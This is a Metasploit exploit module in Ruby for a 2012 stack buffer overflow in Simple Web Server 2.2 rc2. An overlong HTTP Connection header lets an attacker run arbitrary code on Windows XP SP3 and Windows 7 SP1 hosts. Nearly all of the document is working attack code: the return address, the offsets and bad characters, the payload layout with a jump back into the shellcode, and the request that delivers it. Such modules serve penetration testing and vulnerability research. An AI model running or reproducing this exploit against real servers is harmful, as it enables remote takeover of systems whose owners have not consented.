Simple Web Server Connection Header Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
HttpFingerprint = { :pattern => [ /PMSoftware-SWS/ ] }  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Simple Web Server Connection Header Buffer Overflow",  
'Description' => %q{  
This module exploits a vulnerability in Simple Web Server 2.2 rc2. A remote user  
can send a long string data in the Connection Header to causes an overflow on the  
stack when function vsprintf() is used, and gain arbitrary code execution. The  
module has been tested successfully on Windows 7 SP1 and Windows XP SP3.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'mr.pr0n', # Vulnerability Discovery and PoC  
'juan' # Metasploit module  
],  
'References' =>  
[  
['EDB', '19937'],  
['URL', 'http://ghostinthelab.wordpress.com/2012/07/19/simplewebserver-2-2-rc2-remote-buffer-overflow-exploit/']  
],  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x0d",  
'Space' => 2048,  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xC4\x60\xF0\xFF\xFF", # add esp, -4000  
},  
'DefaultOptions' =>  
{  
'EXITFUNC' => "process",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'SimpleWebServer 2.2-rc2 / Windows XP SP3 / Windows 7 SP1',  
{  
'Ret' => 0x6fcbc64b, # call edi from libstdc++-6.dll  
'Offset' => 2048,  
'OffsetEDI' => 84  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => "Jul 20 2012",  
'DefaultTarget' => 0))  
end  
  
def check  
res = send_request_raw({'uri'=>'/'})  
if res and res.headers['Server'] =~ /PMSoftware\-SWS\/2\.[0-2]/  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
  
sploit = payload.encoded  
sploit << rand_text(target['Offset'] - sploit.length)  
sploit << [target.ret].pack("V") # eip  
sploit << rand_text(target['OffsetEDI'])  
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{sploit.length}").encode_string  
  
print_status("Trying target #{target.name}...")  
  
connect  
  
send_request_cgi({  
'uri' => '/',  
'version' => '1.1',  
'method' => 'GET',  
'connection' => sploit  
})  
  
disconnect  
  
end  
end  
`